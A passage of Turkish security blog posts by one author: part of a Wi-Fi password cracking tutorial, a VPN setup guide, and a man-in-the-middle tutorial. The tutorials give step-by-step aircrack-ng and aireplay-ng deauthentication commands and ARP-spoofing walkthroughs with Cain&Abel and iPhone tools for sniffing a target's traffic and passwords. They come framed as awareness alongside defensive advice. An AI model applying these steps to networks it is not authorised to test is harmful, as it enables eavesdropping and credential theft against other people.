yazdığımızda bir iki dakika içinde airodump-ng ekranındaki dataların artışının hızlandığını göreceksiniz. “Data” 100000 e ulaştığında iki programı da durdurabiliriz. (yaklaşık 5 dk sonra). Artık yeterinde veri toplandığına göre şifreyi bulmaya başlayabiliriz. Bunun için aircrack-ng programını kullanıyoruz.

yazdığımızda toplanan verileri kırmaya başlıyoruz.

Ve şifre …

WPA ŞİFRELERİ

Wpa kırmak için en önemli nokta iyi bir sözlüğünüzün (tüm olası şifreleri içeren text dosyası. Bu ayrı bir yazının konusu ) olmasıdır. Yine airodump-ng ile çevremizi kontrol ediyoruz. Komut satırında

airodump-ng -c 11 -w dosyaismi – -bssid modemmacadresi mon0

yazdığımızda ilgilendiğimiz modemle ilgili verileri toplamaya başlıyoruz. Wpa da önemli olan yeterince veri toplamak değildir. Bilgisayar ve modemin ilk bağlantı esnasında oluşturdukları ” Wpa Handshake ” denen ilk bağlantı verisini ele geçirmeliyiz. Bu veri sadece bilgisayarın modeme ilk bağlantı anında oluşturulduğundan ya modeme bağlı bilgisayarın yeniden bağlantı isteği göndermesini bekleyeceğiz. Ya da modem bilgisayar bağlantısını kopararak işi hızlandıracağız 🙂 Bağlantıyı koparabilmek için aireplay-ng programını kullanıyoruz. Bu sefer biraz farklı tabiki.

aynı anda airodump-ng ekranı da aşağıdaki gibi oluyorsa işlem tamam.

Program çalıştığında airodump-ng ekraninda yukarıdaki gibi handshake yakalandığını belirten yazıyı göreceksiniz. Yalnız tek handshake yeterli olmayabilir. Bunun için programları (airodump-ng ve aireplay-ng) sonlandırıp en az dört kez daha handshake yakalandığını görmeliyiz. Yeterince handshake yakaladığımızda aircrack-ng ile şifreyi kırabiliriz.

Ve şifre…

Bu bilgilere biraz teknik bilgisi ve merakı olan herkes Youtube ve benzeri yerlerden ulaşabilir. Buradaki amaç savunmanın ne kadar basit saldırının ise daha zor olduğunu göstermekdir. Wpa2 ya da olmadı Wpa kullanarak güçlü şifreyle ayarlanmış modem şifresini neredeyse kimse kıramaz. Daha fazla bilgilenmek için Kablosuz Ağların Karanlık Tarafı yazısını da okuyabilirsiniz.

Bayram Altun

Güvenli Ağ iletişimi-1

Daha doğrusu güvenliği arttırılmış iletişim demek de fayda var. Her türlü güvenliği delebilecek birileri mutlaka vardır. Önemli olan siz ne kadar önemlisiniz. Birileri güvenliği arttırmanın yollarını araştırırken, başka birileri güvenliği delmenin yolarını araştırmaktadır. Kısaca yin-yang olayı.

Güvenli iletişimin en temel kuralı şifrelemedir. Bilgisayarınızın güvenliği sağlam da olsa bilgiler sizden çıktıktan sonra savunmasız demektir, şayet güçlü bir şifre ile şifrelenmemişse. Güvenli iletişimin geldiği son noktayı en iyi banka iletişimini inceleyerek anlayabilirsiniz.( maalesef hayatta ortak olarak herkesin en değer verdiği şeydir para.). İnternet bankacılığı güvenli iletişimin de hikayesidir aslında. Önceleri 6 karekterli sayıdan oluşan bir şifre ve hesap numarasıyla girilen internet bankacılığı. Şimdiler de şifre, hesap no, resim onayı, sanal klavye, sms onayı, belirli periyotlarda değiştirilmesi gereken şifreler ve anlık şifre üreten akıllı cihazlara kadar gelişmiştir. Nedir bu gelişimin perde arkası; yin-yang elbette. Saldırı cephesi basit keylogger (yani klavyeden girilen tüm tuşları kaybedip saldırgana gönderen programlar) lar ile hayata başladı. Bunu farkeden savunma cephesi sanal klavyeleri çıkardı. Artık kendi klavyeniz yerine ekrandaki klavyeden giriş yaparak keylogger lar biraz da olsa engellendi. Sonra saldırı cephesi trojan ve benzeri programlar aracılığıyla ekran görüntülerinizi, ister resim ister video olarak kaydetmeye başladı. Buna karşılık savunma tarafı anlık şifre üreten cihazlar ve sms onayını getirdi. Bu hikayeden ne anlamamız gerekmektedir. Şayet iletişiminiz bankaların yaptığı gibi değilse her türlü bilgilerinize ulaşılabilir, daha önce de söylediğim gibi buradaki tek kriter siz ne kadar değerlisiniz. Saldırı ve savunma tarihinin gelişimi basit olarak budur. Bu yazıyı bitirdiğinizde bilgisayardan hiç anlamasanız dahi güvenli iletişimi yapabilir hale geleceksiniz.

Bilgisayarınız dan çıkan tüm verileri şifreleyerek göndermek için kullanılan yöntemler içinde bana göre en iyisi güçlü şifre ile korunmuş VPN (virtual private network) teknolojisidir (bankalarda VPN kullanmanıza gerek yok hatta tehlikeli bile olabilir. Normal iletişim için tavsiye ediyorum). Cep, tablet ve her türlü platformda rahatlıkla kullanılabilmesi de bu teknolojiyi tercih edilir yapmaktadır. Bu teknoloji de bilgilerinizi göndereceğiniz bilgisayar ile aranızda şifre ile korunmuş özel bir kanal açarsınız ve iletişim size özel bu kanaldan gerçekleşir. Şayet güvenlik uyarılarına dikkat ederseniz( sertifika hataları önceki yazılarda bahsetmiştim. ” Mitm ile gelen ssl açıklığı”.) güvenliği sağlanmış bu iletişimin dinlenebilmesi neredeyse imkansızdır. Neredeyse dememizin elbette bir sebebi vardır.

VPN teknolojisinde veri iletişimi yukarıdaki gibi gerçekleşir. Yani İnternet’e çıkan bilgileriniz güvenli kanalda VPN server dediğimiz anlaşma yaptığımız bilgisayara ve oradan dış dünyaya çıkar. Şayet güvenilmeyen, yaptığınız iletişimi kaydeden(log), basit şifreleme ve şifre değisim algoritması kullanan VPN servisleri çok da güvenli sayılmaz. En iyi VPN servisleri asgari AES 256 bit şifreleme ile birlikte RSA şifre değişim algoritması kullanması ve kayıt (no log) tutmaması gerekir. Ama beni kim takip edecek sadece istediğim sitelere girebileyim bir de yeni yetme hacker lardan korunayım derseniz her türlü VPN çözümü işinizi görür. Gelelim VPN ayarlarının nasil yapılabileceğine. iOS, Windows, macosx ortamlarında nasıl VPN bağlantısı kurarız.

iOS da( iPhone ve iPad ) VPN kurulumu için öncelikle yaklaşık bir senedir kullandığım VPN express kurulumundan başlayalım. Apple Store dan indireceğiniz Vpn Express yazılımının kurulumu yapılırken ( aldığınız bu VPN hizmetini bilgisayarınızda da -windows ya da mac osx- kullanabilirsiniz.)

gereken şifrenin en az 8 rakam ve 3-4 harf ya da karekter olmasına dikkat edin. Şifre ve mail adresinizi programda tanımladıktan sonra sistemin VPN ayarlarının yapılması gerekmektedir. Bunun için programın kullanıcıya sağladığı bir kolaylık var.

Yukarıdaki şekilde iOS setup tuşuna tıkladığınızda sistem VPN kurulumu otomatik yapılmaktadır. Ayarlar tamamlandıktan “ayarlar” bölümündeki “VPN” bölümüne girerseniz aşağıdaki gibi bir ekranla karşılaşırsınız.

yukarıdaki resimde bağlantı kurmak istediğiniz bölgeyi ve bağlantı tipini seçip yukarıdan VPN i açarsanız aşağıdaki gibi VPN bağlantısının olduğunu gösteren ikonu gördüğünüz sürece VPN bağlantınız aktif demektir, güvenle internette gezinip maillerinizi kontrol edebilirsiniz. (yalnız VPN ayarları detayında “tüm trafiği gönder” in açık olmasına dikkat ediniz.)

Aslında herhangi bir VPN hizmeti satın aldığınızda servis size bir şifre ( siz belirlersiniz ) ve bağlantı yapabileceğiniz bölgeler ile birlikte bağlantı yapılacak bilgisayarın bağlantı ismi verilir. Bağlantı ismi ve şifre ile VPN servisini ister cepten ister herhangi bir bilgisayardan kurarak çalıştırabilirsiniz. Bu servisleri ister aylık yani süreli isterseniz de data miktarına göre seçip kullanabilirsiniz. Fazla güvenli internet trafiğiniz yoksa data planı fiyat olarak daha uygun. Aldığım 10 gb lik planı bir senedir hala bitiremedim.

VPN hizmeti satın alabileceğiniz servisleri gösteren www.bestvpnservice.com adresinden size uygun VPN hizmetini satın alabilirsiniz. Aldığınız bu hizmeti çoğunlukla cep,tablet ya da bilgisayarda ya da hepsinde birden kullanabilirsiniz.

Yazının ikinci bölümünde VPN bağlantılarının bilgisayar üzerinden nasıl yapılacağını ve kendi VPN ve SSH servisimizi kurarak kısmen de olsa güvenliği sağlamaya çalışacağız.

Tüm Yönleriyle Mitm (Ortadaki Adam-Man in The Middle) Saldırısı-1

Ağ ortamında bir bilgisayarın internete göndereceği ya da internetten alacağı herhangi bir bilgi bilgisayardan çıktıktan sonra ağ dediğimiz bir çok verinin aynı anda dolaştığı bilgi seli içinde gideceği yeri bulmaya çalışır. Gönderilen veriler şifreli değilse, bilgisayarınızın güvenliği hangi seviyede olursa olsun verileriniz ağ ortamına çıktığında korumasız ve yalnız başına ormanda yürüyüşe çıkmış çocuk gibidir. Bilgi hırsızları işte bu korumasız anı gözetler ve gerekli ayarlamalar ile ağa gönderdiğiniz verileri ele geçirebilir. Verilerinizi şifreleseniz de durum çok farklı sayılmaz aslında. İşte ağa gönderilen korumasız verileri ele geçirmek için kullanılan yöntemlerden biri mitm (man in the middle-ortadaki adam) saldırılarıdır.

Genel olarak ortadaki adam (man in the middle) saldırısı nedir ? Ağa gönderilmek üzere hazırlanan paket ağ kartına teslim edilir. Bağlı bulunduğunuz ağın yapısına göre paketlerin teslim edilmesini doğruluğunu v.b. durumları kontrol eden protokoller vardır. Basit olarak çoğu fiziksel ağ ethernet protokollerini kullanır. A bilgisayarından çıkan bir paketin B bilgisayarına gitmesi kabaca şöyle gerçekleşir. A bilgisayarı bulunduğu ağa B bilgisayarının mac adresini ARP REQUEST paketleriyle sorar. Ağ içinde bu paketi alan bilgisayarlar adresi biliyorsa söyler bilmiyorsa cevap vermez en sonunda paket B bilgisayarına geldiğinde ağa ARP REPLY paketleri göndererek benim mac adresim budur der ve her bilgisayar bu kaydı saklar. Artık tekrar gerektiğinde B nin adresi kayıt altına alınmıştır. Paketin gideceği bilgisayarın mac adresini bulan A rahatlıkla paketi bu adrese gönderir. Sağlıklı gerçekleşen paket trafiği budur. Peki C bilgisayarı ARP REQUEST yani mac adresi sorgulaması yapılmadan ARP REPLY paketleri göndererek ve B bilgisayarın mac adresini kullanarak benim mac adresim bu derse ne olur. Paketi alan bilgisayarlar artık B bilgisayarı yerine göndermek istedikleri paketleri C ye yollamak zorunda kalırlar. Mac adresini taklit etmeye ARP SPOOF saldırısı denmektedir. Bu saldırı mitm için kullanılan en yaygın saldırı biçimidir. İnternet’e gönderilen yada internetten size gelen paketler önce bağlı olduğunuz ağın default gateway adresi olarak bilinen genellikle 192.168.1.1-192.168.2.1-10.0.0.1 gibi orta ölçekli işletmelerde kullanılan ip adresine sahip bilgisayara gönderilir. Bu bilgisayarlar sizin dış dünyaya çıkış kapınızdır. Diyelim ki X bilgisayarının tüm internet trafiğini takip etmek istiyorsunuz. X takip etmek istediğimiz bilgisayar Y takibi yapan bilgisayar ve Z de ağın çıkış kapısı (default gateway ) bilgisayarı olsun. Öncelikle X bilgisayarının mevcut route tablosundaki Z ye ait mac adresi arpsoof saldırısı ile değiştirilip Y nin mac adresi yapılır. Ardından Z bilgisayarının route tablosundaki X e ait mac adresi arpspoof saldırısı ile Y bilgisayarının mac adresiyle değiştirilir. Artık X makinesinden çıkan tüm internet trafiği önce Y bilgisayarına oradan Z bilgisayarına ( bu arada yeterince karışık olan anlatıma yönlendirme işlemlerinin detayını katmadım bilenler kızmasın ). Z ye internetten gelen ve X e iletilecek olan bilgiler önce Y bilgisayarına oradan X bilgisayarına gidecektir. Bu anlatım çift yönlü mitm saldırısıdır. Biz sadece İnternet’e giden trafiği yakalayıp gelenle uğrasmasakta istenilen bilgilere ulaşmış oluruz. Gelen giden bu paketleri toplayıp wireshark, tcpdump gibi paket inceleme programlarıyla yorumladığımızda yapılan tüm iletişimi yakalamış oluruz.

Mitm için ios, linux, windows sistemlerinde kullanılabilecek araçlar vardır. Öncelikle windows altında kullanılabilecek araçları incelemeye başlayalım. Cain&Abel, wireshark, networkminer windows ta benim vazgeçilmezlerim.

Cain&Abel windows platformunda çalışan oldukça etkili bir komple saldırı aracıdır. Ağı dinleyerek hedef seçtiğiniz bilgisayarın tüm ağ trafiğini hedef sisteme farkettirmeden dinleyebilir. Sadece dinlemekle kalmaz ele geçirdiği ham ağ verilerini yorumlayarak içindeki şifreleri, gezilen sayfaları, oturum açmak için kullanılan şifrelerin hash edilmiş hallerini daha aklınıza ne gelirse hepsini toplayarak hedef sistemle ilgili ayrıntılı bilgiler verebilir. Yakaladığı hash edilmiş şifreleri çözmek için ayrı bir modülüde var. (hash nedir ? şifreleri bilgisayar ortamında saklamak güvensizdir. Bunun için girdiğiniz şifreleri geri dönüşümü olmayan bir hash fonsiyonu ile tekrar sifreler bu son hali saklarız.) Ayrıca yerleşik sertifika sistemi sayesinde ssl sertifikalarını taklid ederek https dediğimiz güvenli bağlantıları dahi dinleyip güven içinde girdiğiniz şifreleri bulabilir.

Cain&Abel açıldığında ilk yapmamız gereken ayarlar bölümünden sistemimize uygun ağ kartını seçmek. Üst menüden ayarlar (configure) seçilirse aşağıdaki ekran gelir. Burada ip numarası görülen ağ kartını seçmek lazım. Yani bağlı olduğumuz ağa bakan kart.

Ardından bağlı bulunduğumuz ağda var olan bilgisayarları bulmak için ağ taraması yaparız. Bunun için üstteki ikon menüden sniffer seçili olmalıdır.(soldan ikinci).

Tarama sonucu ortak ağda bulunan herhangi bir bilgisayarı hedef seçerek arp spoof işlemini başlatırız. Bunun için alt ikon menüden APR ve üst ikon menüden artı şeklindeki ikona tıklarsak

Çıkan ekranda solda dinleme yapılacak bilgisayarın ip numarası seçili iken sağdaki alandan ağın çıkış kapısı (default gateway) seçilerek işlem tamamlanır.

Artık araya girmeye hazırız. En üst ikon menüden APR ikonuna tıklarsak işlem başlamış olur.

Bu işlemi bir çok bilgisayar için aynı anda yapabiliriz. Bu işlem devam ederken gerekli bilgiler toplanmaya başlanacaktır. Gezilen sayfalarda clear text yani şifre korumalı yapılmayan yazışmalar girilen şifreler hepsi ekrana gelmeye başlayacak. Sertifika taklit edebilme özelliğinden dolayı sertifika hatalarına dikkat etmeyen kullanıcıların ssl bağlantıları da ele geçirilebilir. Oturum açma şifreleri hash haliyle ele geçmesine rağmen bunları da kırabilmek için ayrı bir bölümü vardır.

Gelelim ios yani iphone ve ipad de mitm yöntemine. Kullanacağımız araçlar, tarama için scany ya da iNet, araya girmek ve yönlendirme için pirni, topladığımız paketlerin analizi için tcpdump ve en önemlisi telefon da ssh konsolu açabilmek için issh programı.

iNet programını açarak bağlı olduğumuz ağdaki bilgisayarları “Network Scanner” a tıklayarak bulabiliriz. Bunlardan örnek olarak 192.168.2.8 ip numaralı bilgisayarı seçip mitm (man in the middle) işlemini başlatalım.

Bilgisayarı bulduk issh programı ile telefonda ssh konsolu açıyoruz. ( ana ekranda “add configuration” a tıklayıp “description” iphone, “host” 127.0.0.1, “port” 22, “login” root, “password”(değiştirmediyseniz) “alpine” yazıp ssh konsolunu açıyoruz.)

Artık konsolda pirni programını çalıştırabiliriz.

Program çalışırken 192.168.2.8 ip lı bilgisayarın tüm internet trafiği -o parametresinde belirtilen isimle (yer belirtmezsek private/var/root adresine) kaydedilir. Bu loglar wireshark ve tcpdump gibi programlarla incelenebilir. Fakat araya girme anında tcpdump programını kullanarak da anlık yapılan işlemler hakkında bilgi sahibi olabiliriz. Örneğin takip edilen bilgisayarda hangi sayfaların açıldığını anlamak için pirni açıkken aynı issh programında sağ üst köşedeki çarpıya tıklarsak aktif ekranı bitirmeden (pirni ekranı ) yeni ssh konsolu açmak için imkan buluruz. Tekrar ssh konsolu açtığımızda ekranı parmakla sağa ya da sola çektiğimizde aktif ekranlar arası geçiş yapabiliriz. Komut satırında

tcpdump -nn -X -s 1400 dst port 53

yazıldığında pirni çalışırken takip edilen bilgisayarın tüm dns istekleri yani açmak istediği sayfalar tcpdump ekranında karşımıza gelir.

Gelelim aydınlık tarafta yapılabileceklere. Bunun için yani güvenli internet trafiği için ayrı bir yazı yazmayı düşünüyorum. Detayları orada bulabilirsiniz. Ama basit olarak internette güven sizin için önemliyse güçlü bir sifreyle desteklenmiş VPN çözümleri ideal olabilir. Ayrıca hata veren sertifika uyarılarına dikkat etmek gerekir.

Linux sistemlerdeki mitm baska zamana kaldı :)) Bu yazının devamına eklenecek

Bayram Altun